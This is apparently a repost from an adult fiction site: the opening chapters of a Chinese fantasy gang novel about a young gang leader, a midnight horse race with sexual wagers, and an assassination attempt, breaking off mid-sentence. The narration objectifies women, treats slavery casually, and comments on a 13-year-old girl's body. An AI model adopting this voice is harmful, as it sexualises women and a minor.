未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

《极道风流传说》 1-5集 (全) 作者:黑月

本帖最后由 s175366 于 2015-11-20 21:34 编辑
《极道风流传说》

   作者:黑月


第一集


第一章疾风女王

    黄昏一过太阳下山,夜幕降临大地之上。帝都最充满生命力的地方,自然不
是在贫贱夫妻拚命做人的床上,而是在这个聚集着三教九流人物的夜市内。
    很自然地像我这样的年轻人,当然也不会落后于潮流。
    在这个夜市之内,由处女的贞操、赤裸的女奴、私製的兵器、炼金士的药物,
要什幺有什幺,更加就不可能没有赌博这一门生意。繁华的黑暗夜市成为了帝都
背德和人欲横流的象徵。
    而我艾利奥斯- 拉夫朗,则是一个小到不能再小的帮会的头目。成员只有五
人,几乎每天晚上我都来这里发财,痛宰那些除了懂得投胎外,脑袋满是草、身
上满是肥肉、口袋里满是钱,二世祖的贵族肥羊们。
    依靠的就是目前正是热门活动的午夜赛马,每晚在夜市旁边的荒山、野林中
进行,这是一个不论出身,祇要有马就可以参加的比赛。
    经常口袋里,找一枚铜板也没有的我,莫说饲养什幺神俊宝马,就连七、八
岁的老马也没有钱养。可是人总有霉运尽去红运当头的机会,之前我在平价大拍
卖时买到一对上等的拘魂手套。靠这个用来捉鬼的手套,辛辛苦苦地捉到一头在
附近闹得很兇的亡魂马。
    有了这一头虽然化成了腐肉枯骨,但仍然渴望再次奔驰大地上的死灵马匹,
至今为止我都战无不胜,就差皇帝的御马没有赢过。
    我叫这匹马作硬骨头,它不止替我赢过不少钱,更从那些贵族身边,赢到不
少风骚的艳妇。
    今晚我又再出赛,打算刷新自己的连胜记录。
    莫师艾道:「老大!今次看来不妙了,这次对手居然不知由那里找来一头独
角兽。我看我们投注的钱,一定输得连一个铜币都没有的了。」莫师艾是我手下
最出众能打,值得一提的人物。他是一名半兽人,实际上也是我旗下唯一一名非
纯种人类,谁叫帮里人少。他的头根本就是一个老虎头,浑身长满长毛,实在无
法看出他身上的人类血统在那里。他这个人的性格冲动好战只会蛮干。
    正在替亡魂马擦背的我道:「怕什幺!规矩又不许在天上飞,这畜生有翼又
有什幺用。况且就凭那些败家子的三脚猫骑术可以赢得到我吗?看我的吧!」
    「他们可能也是这样想。所以找来了连胜三十八场,绰号疾风女王的艾利亚
负责策骑。」
    「呵!那真的不能小看了。」
    这位疾风女王的传闻,我也听说过不少。传言说她外表是一个出尘脱俗、温
婉可人的美女大姐。可是不仅骑术精湛,气魄胆量更不是寻常男子可以与之相比
的。我早就想会一会这个对手,今天正好是一个机会。
    「上马!比赛之前我们先去拜见一下这位神秘女骑手的风姿。」
    正当我要跨上坐骑时,一辆马车赶开闹哄哄的人群来到了我的身旁。
    一个玉树临风,充满成熟男人味的绿髮汉子,由驾驶席上飘然而下,他穿着
真丝的衬衣鹿毛的外套,不止质料珍贵还是帝都驰名裁缝的出手。剪裁恰当得体
特出他高佻英伟的身型。
    他趋前靠在我耳边低声道:「少爷!老爷病危,你速速跟我回去见他最后一
面。」
    「你又来跟我说这件事柏保狄亚,死缠烂打像是你的风格。我和他没有什幺
好说的,有事等我出赛完毕之后再说。」上马之后我一挥马鞭,示意他不要在阻
挡在前。
    这个人是我老爸身边最能干的副手,手下不管是什幺奇人异士,都能管治得
贴贴服服的。
    父亲在病床上垂危,以一般的道德规範来说,还忙于玩乐的人必然不是什幺
好货色。但我家的複杂情形,岂是三言两语可以说得清楚的。不过这里都是逃避
世俗束缚,追求短暂快乐的人。他们只会对阻拦我的柏保狄发出不满的鼓譟。
    「情况比之前更加严重,老爷的身体已经快不行了,小姐最近每日都以泪洗
面。」
    老爸的死活我可以不管,妹妹却是我的心头宝贝,听到这种事我不能不在乎。
    「有甚幺等我回来再说,过几天我自然会去看爱玛。」
    我的帮派虽小但是只要混黑道的都知道,名声也是实力的一种,有时甚至比
真正的实力还重要。既然已经报名参赛,赌注也已经下了,我决不能就此放弃不
战而败的。
    「既然艾利奥斯你家中死老爸,还不快认输然后回去奔丧。无谓在这里浪费
时间,反正你出不出赛也一样会输。」作为我对手的那一群贵族子弟,藉机会对
我挖苦嘲弄。
    「我以为是谁!原来是一群败军之将的丧家狗,说起来我还要多谢你们送了
不少钱给我享用。」
「你少得意。今天我们不会再输的,你有本事赢到她再嚣张吧。」
    接下来一位成热美豔的女子,策骑着世间罕见的珍兽独角兽排众而出。
    比起我的一身布衣,她全身都是正统的骑手打扮。纯白贴身的长裤,包里着
苗条有弹性的修长美腿,鲜红色的外套香艳性感之余,更凸显出她玲珑浮凸充满
曲线的身材,特别是坚庭的胸部浑然天成地隆起,以及纤细雅緻的柳腰。
    帅气英挺的黑色骑马用帽子下是一把棕色的长发。只简单地用髮饰在及肩高
度束起,柔顺亮泽的髮丝被夜风轻轻地吹拂着。五官秀美艳压群芳,态度閑静文
雅,笑容亲切温柔。她不单没有拒人于千里之外的冷艳,反而有种熟悉温馨感像,
像是似曾相识美丽大姐姐。
    「小兄弟如果你家中有要事的话,我可以替你说情把赌注退还给你。否则你
勉强作赛,大姐我也觉得胜之不武。」我从来没有想过,传说中的疾风女皇,竟
是一位如此温厚有礼的大姐姐。
    她的语气虽然诚恳温柔,年龄也比我稍长几岁。但这种把我看成小兄弟的态
度,反而刺激起我心中不甘于人下的傲气。我可不是跟人要糖吃的小孩,虽然小
也是一帮之主。
    我在爱马硬骨头的背上,轻抚在牠颈上的腐肉说:「好兄弟!今次做大哥的
被人小看了,你要替我出一口气。在这个帝都里我们是最快的组合,一直互相合
作互相帮忙,就算对手是连胜三十八场的疾风女皇?我们也已经连胜三十七场,
再加上今天正好是第三十八场。」
    我充满自信地傲然迫视艾利亚,绝不甘于被小看。硬骨头人立而起,发出一
声震天的马嘶声回应我。
    果然是我的好拍档。
    「好!我赌一千个金币我们赢。」
    一时之间群情哄动,事实上这一笔巨款,我花一年也别想赚得到。看热闹的
人,以及众多的赌客,一时间都热烈谈论起来。
    「小兄弟不要一时意气,做自己后悔的事。」艾利亚惋惜地摇头。
    贵族们更是气愤地道:「你算什幺!以为自己必胜的吗?割了你身上的肉出
来也不值一千个金币。」
    至于负责主持赛马的庄家则冷淡的道:「艾利奥斯虽然我们是老相识,但这
里除了贵族,赌的都是真金白银。你没钱不可以下注的。」
    「我就用我们五个人,加上这一匹硬骨头作注。行了吧!」
    「你不要嘴巴说得响亮,你真的输了的话。我会把你们卖去做奴隶的,这匹
马我也会收下来,别怪我事先没有讲清楚。」
    这个小气的家伙!
    「你给我準备好钱吧,因为你输定了。」
    我并不是胡乱下注的,我早已计算好如何险中求胜,虽然胜算只有五成但已
经足够了。要是输了的话,可是卖了裤子都不够赔。不过我这个人,却不会成天
想着失败、失败、失败,真失败了的话,就由那地方再次站起来,成天担心失败
连路也走不下去。没有胆气还混什幺黑道!
    「艾利亚我们开始吧。」我挑战似地说道。
    「这场比赛就当作是我认输好了。你家中出事心神大乱,现在更逞一时之气
地胡乱地下注。我不想你下半辈子都要作为奴隶而活。」叫我更加气愤的是这位
大姐姐竟然用怜悯的语气说。
    「我看你是怕输吧!」
    「我自出道以来还会有输过一场比赛。」
    「那我们再赌大一点,输的一方要陪对方一个晚上。如何?你敢还是不敢!」
    艾利亚忍俊不禁的笑道:「你这个小无赖,这样子我不是不管胜负都要陪你
一晚吗?像你这种小孩子是满足不了大姐我的,若然我胜了的话你就好好地回家
去看父亲吧!」
    加重了注码之后双方各自準备出赛,柏保狄亚则忧心仲仲地向艾利亚致谢,
并且许诺她一旦得胜,他会赠送相当于奖金的酬金。出发前莫师艾和一众手下跟
我作了一个必胜的手势,我满胸豪气地举起姆指讚赏他们。
    赛道两旁挤满了观众,不断地为自己下注的对象吶喊打气。
    此事负责宣布比赛开始的豔女,走到赛道中间伸手进入裙子内。
    面对到目前为止最强的对手,我不自禁地有点紧张,但更强烈的则是兴奋。
    并暂时放下了叫我心中所烦忧不断的妹妹爱玛,还有「父亲」的事情。至于
万一输了会怎样?我根本就不认为自己会输。
    豔女在漫天的口哨声中,把香喷喷刚脱下来的亵裤握在手上。而当她把内裤
扔向观众时,也就是比赛开始之时。
    「我最讨厌这种把女人当作玩物的仪式。而要教训热爱这种游戏的男人,最
好的办法就是在比赛中击败他们。」艾利亚的玉脸透着红晕向我说道。
    「是吗?我却最热爱这种玩儿想,想教训我就拿出真本事来。」
    内裤离手。
    我们各自倾力鞭策坐骑前进,一时间四对马蹄掀起了漫天沙尘。
    在群众中有人成功长地抢到三角裤的瞬间,艾利亚已经摆脱了我,一马当先
地冲了出去。
    好快!不愧是独角兽,瞬间爆发力比我的估算还要强。真的像一阵风一样,
不惭疾风女皇的称号。
    在马类动物中论到速度,首先是一般马、然后是千里马、接下来是飞马,而
最顶尖的则非独角兽莫属。
    我的坐骑硬骨头,在生前就是一匹千里马。死后吸收日月精华,成了不死系
的亡魂马速度接近于飞马,但比起独角兽还是差了一个级别。
    不管我如何快马加鞭,硬骨头就是追不上对手的独角兽。不过这也不是全无
好处的,紧追在艾利亚背后。我可以欣赏到她浑圆丰满的香臀是如何在策骑时摆
动的美态。
    我虽然处于下风,但要说分出胜负还早得很。
    不久我们先后离开平地,进入迂迴曲折的山道之中。左右两方都是密林,道
路极为狭窄,路面满是泥泞碎石。无论是艾利亚的独角兽,还是我的爱马硬骨头
都无法发挥最高速度。而此时最具有决定性的就是我们两个骑手的如何能做到人
马如一人的配合,发挥最高技术去转弯。
    我自问论到骑术,绝对是数一数二的人马。但艾利亚也不遑多让,她一直巧
妙地阻挡在之前不让我有机会超越。
    两旁的山川草木,就像在我们身边飞掠而去。我一而再再而三地,想要爬头
超越却始终被艾利亚封着前进道路。
    「怎样?你要不要认输,如果要你做一辈子的奴隶好像很可怜。年轻人冲动
热血一点是好,太过冲动只会自取其祸。男儿膝下有黄金,要是你跪下来认错的
话,我也可以诈败让你获胜。当然奖金全得归我,你也得遵照之前的约定去见父
亲。」
    「艾利亚小姐你不觉得自己的母爱太过氾滥了吗?你是不是刚生完小孩。」
    我不但不领情,反而出语嘲讽艾利亚的好意。
    疾风女皇面色一沈,不再好言相劝反而全力冲前想要把我远远抛在后面。
    「论到马匹的速度,我的马是不如你。论到骑术我可真的是小看了你,但我
还是可以获得胜利的。」
    「去吧!硬骨头。」
    我不再作任何退让,迅速前进不顾艾利亚的独角兽阻挡于前直撞过去。
    而如此飞驰电掣的速度,两匹马相撞的话。必然人仰马翻骑师随时落得骨折
身死的下场。
    艾利亚全无退让之意,但在同归于尽前的最后一刻,她还是畏怯地让独角兽
飞起来,双方简直是贴身而过般惊险。
    「这样子飞上天是犯规的,你再有下次就会被取消资格。」超前后我得意地
笑说。
    「你这个无懒只会用这种蛮干的方法吗?」艾利亚在我身后怒气沖沖地喝骂。
    「这只能怪你自己没有相撞的勇气。更何况可知己知彼百战百胜,你知己而
不知彼想获胜就只能靠运气。」
    取胜之道我一早就了然于胸,在平原上我是不可能战胜艾利亚的独角兽。
    但在山道中就可以使用冲撞战术,我的亡魂马本身就是一头死马,根本不用
害怕死亡和受伤,一旦双方冲撞只有独角兽会受伤。而我也有自信以自己的身手
在冲撞时能力保自己可平稳落地。
    再其次硬骨头不是生物不会有疲劳的感觉,而我身为男人在体格上也佔有优
势,比艾利亚有更充沛的体力,可供在比赛中消耗。所以虽然速度不如她们的组
合,艾利亚作为骑师又有轻磅之利。但我和硬骨头的组合也绝对有一拚的力量。
    「快!快!再快一点。要把她抛离至看不见为止。」
    我让硬骨头放蹄疾奔,飞驰在暗夜的山道之上。
    当距离逐渐拉开之际,由我的身后响起了天籁般的仙歌妙韵。歌词的内容平
凡亲切,所咏唱的不过是导人向善,歌颂世间美好的佣俗内容,可是其效果却绝
不平凡。
    艾利亚所唱的歌曲含有魔法的性质,接近于教会牧师用来超度亡灵和不死系
生物的咒语。这不只大大地抑制了硬骨头的速度,连我的斗心战意也随之下降。
    很快地艾利亚再一次由后方追了上来。
    紧张的气氛骤然间缓和下来,我们不像是赌上贞操和人生的午夜赛马,反而
像是一对情侣在山间策马游历。虽然内心有一种声音在叫我不能放弃,可是受到
歌声的影响我觉得一齐都已不再重要。比起胜负还不如现在有美作伴奔驰在山道
上愉快。
    就这样我目送着艾利亚对我回眸一笑之后,把我抛在后方领先十多个马位朝
山下驰骋而去。
    一路接近到山区的出口,当我迷迷糊糊之际。莫师艾和刚才那个脱下内裤的
豔女倏然间冲出路面,阻挡在艾利亚前面。
    「危险!」
    为免把莫师艾等两个人踏死在马蹄下,艾利亚迫不得已地停止了歌声并且让
独角兽紧急转向,冲进了山边的丛林之内。
    「呼!好险真好的险。」
    还好我事先吩咐了莫师艾用这一招对付艾利亚。
    现在我利用脑袋回复清醒的机会,拚明快马加鞭让硬骨头再一次领先在前。
    幸好手下有莫师艾这身手不凡的兽人,否则这种一个不小心就会被踩死在马
蹄下的计谋也无从实行。
    我连跟莫师艾打招呼的时间也没有,一路策马狂奔直到进入平地之上。
    而在后面艾利亚的独角兽又一次追了上来,距离大约十多个马位。
    「兄弟!全力给我跑,不然我下半辈子都没有资格做为一个人,要成为做牛
做马的奴隶了。」
    距离终点在望只有三千多呎的距离。
    艾利亚追至只有五个身位的距离,她也拚命叱喝身下的坐骑加速追上来。
    「去呀!去呀!」
    千钧一发的最后一瞬间,我冲过了终点。刚刚回身一望,艾利亚已经超越了
我。
    我是输了还是胜了又或者双方打成平手?一时之间连我自己也不得而知。
    我忐忑不安地望向在终点等待的观众,剎那间的沈默之后。观众爆出了欢呼
向我涌过来,对手的贵族们则咒骂着老天爷没开眼,竟然让我又赢了一次。
    事后我问自己的手下才得知,自己仅仅以一个马鼻险胜了一直战无不胜的疾
风女皇。
    当时我真的吓出了一身冷汗,不过旋即投入了人群庆祝的情绪当中。今次不
止赢得一千个金币,还加上疾风女王艾利亚一夜相陪。
    有了这笔钱未来一年都不用愁了,想不高兴也不行。
    作为庆祝我开了一瓶香槟,向四周的狂欢叫好的观众们喷洒,然后和同伴们
把酒共饮。再狠狠地嘲弄了作为和对手的贵族们,我把收取奖金和赌注的事交给
莫师艾,自己一个人去找艾利亚。
    首嚐败北滋味的美女大姐艾利亚正一个人坐在草地上,整理自己的狼狈模样。
    刚才的激烈比赛不只弄得她的一头乌丝淩乱不堪,还使她身上冒出了一阵香
汗。
    正用手帕擦拭额上金黄色的汗珠,并以纸扇为自己取凉。
    望见我正走过来,她矜持的停止了动作,整理好自己的衣衫站起。俏脸因害
羞而带着三分红晕。
    「现在该是你履行承诺的时候了,艾利亚女皇。」
    「我像不守承诺的人吗?不过你也要信守承诺!」艾利亚的玉脸更加红了。
    注视着她在鲜红色外套下优美的胸部曲线,使我看得整个人也飘飘然起来。
    「我们换一个地方吧!」我看着四周闹哄哄的人群说。至于柏保狄亚他没有
像往常一样放弃而去,祇是默默地在等待。看来老头子的病情真的不轻。
    「那幺你跟我来。」艾利亚很自然地牵起了我的手领先向前走去。感受着手
中柔若无骨的手指是如何温润柔软,我很欣赏艾利亚这种大姐型风格的美女。想
不到她还蛮豪放的,说不定今夜是由她主导呢!
    步行十分钟左右之后,我们远离了人群。来到一个四无人烟,但仍然可以看
到帝都内万千灯火的优美夜境的草原。
    「在这里可以远离凡尘俗世的斗争,可以好好享受宁静的大自然景色。」艾
利亚到达之后主动脱去了她鲜红色的外套铺放在草地上作垫。
    「比赛之后真的闷热得厉害!您介不介意我解开几颗钮釦. 」艾利亚语气平
和地对我说,就像对自己的弟弟一样。
    「别说钮扣了!你要全部脱光我也不会介意的,要不然我替你脱也是可以的,
偶而打野战也是不错的选择。」
    「可以请你斯文一点吗?我是答应陪你一晚,可我既不是妓女也不是什幺爱
自动献身的豪放豔女。」艾利亚疾言厉色地说。
    「你现在才想反悔吗?」我略带愠色的说到。
    疾风女皇语气转趋缓和的道:「我们的约定是我陪你一个晚上,现在我不是
就在你身边了吗?至于其他任何额外的行为,都没有包括在内的。请您的心思不
要放到错误的地方去,尤其是好色的地方。」
    这……这家伙,竟然如此玩弄文字游戏。的而且确我是没有直接用上床和做
爱等说法,但陪我一晚的意思任何成熟的女人都会清楚明白。


第二章一亲香泽
    艾利亚行中闪着慧黠的光芒说:「男子汉大丈夫说一是一,说二是二,刚才
你怎样说我就怎样做还有异议吗?」
    「再说我对你的确很有好感!成熟的男人自然会懂得把握时机,因为人类不
是只会发情的动物。一男一女的关係,不见得非要有性爱不好,我也可以做你的
红颜知己呀。」
    成熟的美女果然不易对付,被艾利亚落一时严词拒绝一时软语相求。除了屈
服我真的别无他法,但是我的男性本能依然强烈地想要佔有如此诱人的美女大姐
不想就此放弃。
    仿似看穿了我的心意似地艾利亚续道:「唉!你还真是死心不息,那幺我答
应你下次和你约会如何?而约会之后的下文当然要看男女情投意合。」
    受到她如此娇声软语的进攻并且隐含暗示的邀约,我终于全面崩溃。
    「你不要把我说成一个色狼一般,我的本意也仅是握过手儿亲个嘴儿,说到
脱衣服什幺的不过是想看一看你尴尬羞涩的模样。」我在嘴上毫不服输的说。
    「明白了!明白了!是大姐我心术不正误会了你这个正人君子。」她语毕噗
哧一笑分明是看穿了我。
    「来!到大姐身边,我们两个说说悄悄话。不过不许你别有企图的。」除下
身上的帽子,打散飘逸的披肩发,艾利亚风情万种地一拍自己旁边的草地。
    既然如此我就不再客气,大刺剌地躺在她旁边,然后直接握起温润纤细的青
葱玉指。
    「你未免太急色了吧!」艾利亚瞪了我一眼埋怨。
    「君子爱淑女是人的天性,我虽然不是君子但却比君子更博爱。」
    沐浴在柔和的夜风中,身傍又有美相伴,连心境也变得平和愉悦。
    「艾利奥斯。拉夫朗。帝都最大二个帮派之一的首领,拉夫朗帮主的独子,
为何如此醉心午夜赛马?你也是抛开社会规範,沈迷于追求速度和冒险的富家子
吗?」
    「富家子?你调查过我的身世?」我满脸不悦的说。
    「当然了!我能够百战百胜,除了技术还有知慧。否则也不会因应你的亡魂
马,而特意跟牧师学习超渡亡魂的歌曲。」
    「那幺只能说你的调查很不彻底。」
    不知为什幺?坐在艾利亚身旁看着她有如夜星般闪烁的美眸,还有她脸上挂
着的仁慈祥和的笑容。我有种可以放开一切束缚,尽吐心中不快的沖动,仿似是
已经形认识很久的知己好友。
    「既然您父亲已经病危,为什幺不去看看他,要知到如果他死了那你一生一
世也没有再见他的机会。」艾利亚诚恳的好言相劝却反而使我怒意上涌。
    「我可不是你的孩子!你这幺爱关怀别人,不如替我生一个孩子,届时你就
可以尽情发挥自己的母性。」
    「你很会用言语刺伤人呢!」艾利亚大受伤害地闭上嘴不再理我,掌中葇荑
想争脱而出,我却不肯放手。
    「不要再说我的事吧。我反而很好奇疾风女皇的真正身分,还有出于何种理
由去参赛的。」
    「那幺你首先猜猜我今年多少岁?」艾利亚俯身向我问道。
    「二十五、六吧。」她身上有种玫瑰的香气,浓淡得宜嗅得人心神一醉。
    「你这小坏蛋嘴巴真会哄人。」艾利亚用手指在我额上一弹略加薄惩。
    「痛!究竟你多少岁?」
    「秘密!」
    「原来你故意作弄我。」
    「年龄是女人的祕密,自然不能随便说出来。总而言之我不再年轻就是了。」
    「谁说的我看你比很多十五、六岁的青春少艾还要有魅力。」
    这次艾利亚没有再笑出来,反而相当严肃的道:「一个女人不管如何本事,
都要有一个男人的。我是个没有什幺本事的女人,所以是一直是倚靠做别人的情
妇为生。」
    「怎样?你轻视我吗?」带点自嘲的表情艾利亚问道。
    「不会!无论是妻子、妾侍、宠物、奴隶也不过是一种男女关係。」我嘴上
虽然这样说,但内心可不太高兴。虽然明知以艾利亚的年龄,不可能没有男人更
不会还是处女。但想到明花有主,还是感到莫名的失落。
    接下来我内心很自然地妄想,若果能偷偷和别人的情妇欢好会是什幺样的滋
味。
    「所以我劝你还是别要有什幺非分之想的好,我们交个朋友不好吗?我可不
想你因为我而受到什幺伤害。」
    反覆思考着艾利亚的说话,看来她对我也有几分好感。
    「牡丹花下死做鬼也风流,勾引别人的情妇也是一件乐事。」
    我 起上半身上要强吻艾利亚,却给她巧妙的闪了过去。
    「你不要得一想二。说回刚才的事,你真的不去看你父亲吗?他可是你的亲
人呀。」
    「如果他真的是我父亲的话,无论如何我总会去一次。」我内心翻起了感情
的波涛,有愤怒、有不安、有害怕、有渴望。
    「我五岁的时候母亲被赶出家门,而我也被她带着一同离去。传闻说是因为
她红杏出场之故,我父亲诺曼。拉夫朗一直怀疑我是不是他亲生的孩子。被赶出
家门之后,母亲不久就死去,我几乎就像街童一样在流浪生活。偶而父亲会让我
在他的白屋住上一、二天,没有谋生能力的我,就像个乞丐般靠他施捨渡日了十
年以上。我连自己的父亲是谁都不能够肯定。我既不愿相信母亲会去偷人,偏又
无法去証明她的清白。如果诺曼。拉夫朗真的是我父亲,我就应该去手仇恨他多
年来待薄我们母子。但假如他不是呢!一想到我是不知那个男人的野种,而且还
是靠老婆被人偷了的男人的怜悯才能活过来。这幺複杂的感甚情,你能够明白吗?」
    一旦开口说出第一句之后,就有若长江大河无法停止。我也奇怪为何自己会
就这样对着一个陌生人诉说出多年来的心结。到最后我甚至激动得紧握双拳。
    「你一定吃了不少苦头。」
    艾利亚满脸怜爱地在我的颊上亲了一口。
    「我觉得男人大丈夫是不应该逃避,不如就去一次或许可以找出当年的真相。」
    「我不想去。我们不过是平萍水相逢的人,你就不要再劝我了。」
    说到这里我觉得有点索然无味,连色心也没有了就想起身离开。
    当我起身打算提步离去之际,艾利亚急道:「我知道你有妹妹,我也有两个
姐姐。他们二女共仕一夫嫁给同一个人,但二姐却妒忌大姐并杀害她,最后把一
个大好家庭弄得分崩离析。这时候最受伤害的还是孩子,你忍心让妹妹独自面对
丧父之痛吗?」
    我头也不回地继续走下去,艾利亚虽然亲切且美艳,但却太爱多管闲事。女
人除了在男人身下时,一定要懂得在适当时刻闭嘴。
    亲人吗?假设我真的是诺曼。拉夫朗的儿子。就有一个同父异母的妹妹爱玛,
以及去年死去的爷爷留下来给我照顾,只有十三岁的小姑伊莲娜。说起伊莲娜还
真是个叫人头痛的丫头。
    至于我年纪小小的妹妹爱玛,并不理解大人世界的情形,总是找机会追在我
这个哥哥的身边。如果说还有人也能让我感受到亲情的温暖就只有她一个。
    想起那追随在背后小小的身影,我可不能无动于衷。
    我还记得十岁那一年,爱玛来找我玩的时候,遭到别的帮派派人绑架。我虽
然挺身而出反抗,但那是成年人的对手,只落得被打成遍体鳞伤的下场。在被囚
禁的数日中我们一直互相勉励着再也不会分开,将来一起逃出去。
    「你真的狠心不去吗?」
    「我是不想见那个老头子,但如果我不去的话爱玛一定哭得不会停下来。下
次有机会再见艾利亚大姐,届时别忘了你跟我约好要献出香唇。」
    「你这样做一定不会后悔的!还有我何时答应让你吻我呀!」
    「下次再有机会见面,最少也要让我亲个嘴儿。」我头也不回地挥手跟艾利
道别。
    回到比赛场地群众还在继续追看之后的比赛,而柏保狄亚则一直忠心耿耿地
在原地等候。
    「我们起程吧。」体会到他的忠诚和苦心,我想去一次也没有不好。
    「太好了少爷,老爷已经等待很久了。事实上老爷最近才弄清楚和你的父子
关係,所以想把后事交託给你,其次还有财产和帮会。」可能是害怕我改变主意,
柏保狄亚以此来引诱我。
    我冷笑道:「事到如今他才想修好和我的父子关係,补偿我的损失吗?」
    面对无言以对地的柏保狄亚,我当先登上马车内。马车外见到的是常见到极
的木製车箱,内里却是铁製的,这马车实质上是一辆铁甲马车。
    除了军队寻常人家当然不会用这种马车。但我老爸就会,因为他是帝都最大
帮派,手下达到五千人的黑道巨头。一年中不知有多少人想暗杀他。
    坐上了车上,我的内心就开始胡思乱想起来。
    身为黑道大豪的儿子,本应是呼风唤雨手下成群。眼下我一身破烂,同车老
爸的手下却锦衣华服。我虽然是父亲的独子,但因为母亲红杏出场的疑云,却和
妈妈一起被赶出家门。
    就像每一个正常的人类一样,被如此对待,我当然憎恨这个父亲,简直恨到
入骨。可是又能怪谁呢!包括我自己,凡是混黑道的都不是什幺好人。无风不起
浪,现时虽然说查明了我们是亲生的父子,但母亲仍然有可能偷过人。试想易地
而处,如果我是他也很难不会去怀疑。究竟父亲死前想见我是为了什幺?把遗产
给我的事不能尽信。甚至有可能诺曼。拉夫朗查出了姦夫是谁,死前要杀我洩恨。
    母亲虽是一代美人,并且使我遗传了她的金发蓝眼拥有俊美的外型。可是在
我眼中她却是一个贤良淑德的木美人,除了温柔、坚强还又无法言喻的哀怨。像
她这种好女人,再怎幺说我也无法相信她会背夫偷汉。
    「自从我听到父亲染病的消息已有几个月,他现在怎样了。」
    「身为帮派首领,一旦给人知道身染重病不能理事,帮中群龙无首的话,情
况会如何?不止其他帮派会藉机会来抢地盘,就连官方也要踩我们几脚。所以帮
主虽然抱病在身,还要勉强装作仅是伤风感冒等小毛病,除了帮中骨干分子,谁
都不知道情况严重,医生已经说他任何时会辞世也不出奇。」柏保狄亚黯然神伤
地默然垂头。
    对于这个和我关係冷漠疏离得很的父亲,他要死我是完全不会为他伤心的。
    如果说我人生有什幺目标的话,我就是成为超越他的黑道中人,他有五千手
下我就要有一万。而且不花上十年、二十年,根本无可能达成。可是突然之间这
个目标就要消失了,人生未免太不合逻辑了吧。身为黑道老大这样意外的病死,
我实在无法想像。我还想有一天可以走出他的阴影,在他面前逞威风的,这老天
爷未免太不不给面子。
    在车上我没有和柏保狄亚多说什幺,但他基本上是一个好人,这几年来每当
我闯了祸,他都会略为出手帮忙。不过也祇是稍为帮手的程度,主要还是靠我自
己解决。
    当马车摇摇晃晃地走到半路中途的时候,突然的「轰」的一声巨响,重达千
斤的铁甲马车竟然被掀翻起来。
    车箱内乱成一团我压倒了在柏保狄亚的身上,起身一看车身竟出现一个半尺
深的凹痕。
    「看来有人行刺,少爷你先赶去白屋。这里交给我应付就可以。」柏保狄亚
临危不乱地抽出随身的配刀,和几个保镖先由窗口爬出去。
    我紧跟着爬着出去并说道:「你以为我是什幺人,可以丢下你们自己逃跑的
吗?给我武器我也要战斗。」
    「果真是虎父无犬子,帮主有你这个儿子我们就不用担心未来了。」柏保狄
亚以讚赏的眼光看我,由身上抽出匕首给我,另外派了一个人回去通风报信。
    出到外面我发现正位于帝都的大街上,敌人用小型投石机在横街窄巷里施袭
攻击,打得马车翻转的同时,三名身高不一各持枪、剑、斧一身黑衣的杀手,有
若三股漆黑的疾风般捲到。
    双方甫一接触,使枪的杀手就拦下了柏保狄亚。
    「哗呀!」
    用剑的一个有如风捲残云,几个起落间就在惨叫声中,把保镖们砍杀成了人
体的残肢,手段冷酷无情身法敏捷俐落。
    负责对付我的刺客身材矮小,但却反而手持大斧的刺客。别看他个子矮小,
手上的气力比我还要大。
    身型短小而刻意用重兵器,不仅便于防守,再加上迅猛的速度,和强劲的破
坏力,简直就像一个会滚动的铁刺猬.
    我手上只有几寸长的匕首,简直是老鼠拉龟无从入手。更祸不单行的是,用
剑的杀手在解决保镖们之后转向我攻来。
    要是没有听从艾利亚的劝说,去看父亲的话就不会身陷险境。啐!
    为免受到前后夹攻,我一个鲤鱼倒翻跳回入马车内。
    矮个子武器用手上沈重的大斧,向着马车怒劈。我则看準机会用匕首去削的
他的手臂,双方攻防了十多招,我守得四平八稳不让他难越雷池一步。
    马车内空间狭窄越是身型矮小兵器短小越有利,因此持剑的刺客不敢冒然闯
入,只守在外面等同伴把我赶出来。
    骤然间一道银光由矮子的背后劈过来,速度之快有若电光火石。
    这矮子的功夫也真了得,斧头一个迴转硬是接下这已避无可避的偷袭。定睛
一看偷袭者使用的也是斧头,而且是更为巨大沈重的双刃巨斧,两斧相交爆出了
一连串星屑般的火花。
    「小伊!」
    危急间来相救的竟是我的小姑,年仅十三岁的伊莲娜。
    「不留活口。」
    若无其事地说出这四个字后,伊莲娜以她的双刃巨斧把矮个子扫得滚出十余
呎后,抛了一柄属于死去保镖的长剑给我,又再追杀敌人而去。
    眼前的少女不是陌生人。伊莲娜是我好色的爷爷晚年所生的女儿,她有一半
熊族兽人的血统,表面看来是个文静内向木讷寡言,不太受人特别欢迎喜爱,半
大不小的少女。有着苍冰色的蓝眼,棕色的长发扎成两个包子头。至于身材基本
上可以是刚刚开始有点发育,实在没有什幺可以称道的。
    可是这个还算可爱的小妮子,正身穿学校制服手持双刃巨斧,充满霸气地斩
杀敌人。而她恰好是身为我长辈的小姑,年龄比我还要小六岁。
    爷爷死后他和父亲同住了一年,后来因为和我的后母相处不来,不顾我的反
对强行搬和我同住了数月。总而言之她是一只难缠的小辣椒。
    多了一把长剑,少了一个敌人。整个形势逆转过来,我跃出马车之外,奋勇
攻向和我同样持长剑的刺客。
    对方虽然经验老到技术精湛,招式辛辣俐落有如水银泻地。但我以长剑进攻
和匕首防御的组合,也绝非他短时间内可以攻破。
    三对三的战斗当中,我略处下风、柏保狄亚则稍佔优势,而伊莲娜却佔尽上
风,处处穷追猛打对手。
    眼看久战不利三个杀手终于分头逃走,不知道他们是尚有援兵和陷阱,我们
只得放弃追击。
    「给他们逃了。」伊莲娜俏脸略显愤愤不平,就像走失了猎物的猛虎。
    「伊莲娜你怎幺在这里的。」
    「我见你外宿不归,所以出来找你。」
    「胡说八道!我又不是小孩子,况且我何时回家也轮不到你来管。」
    「目无尊长!」丢下这一句话后,伊莲娜无意作出真正的解释,祇是自己一
个人动手扶正马亲。
    别看她身形娇小,几个大男人也推不动的铁甲马车,她一个人就办得到。小
伊坐马沈腰奋起神力,一声娇叱后就逐寸逐寸的推动了这千斤重的铁甲马车。她
这能人所不能的蛮力,都得力于她身上的兽人血统。
    对于伊莲娜的母系家族,我只知道他的祖父是一头叫白什幺熊的族长,母亲
被他的好友一个叫约翰的人,骗财骗色沦落帝都为妓。至于她身上的兽人特徵,
就只有她巧妙地藏在校服的帽子内,那对很可爱的棕色熊耳。
    说来还真要佩服做物主的鬼斧神工,兽人女性除耳朵、尾巴之外,大多跟人
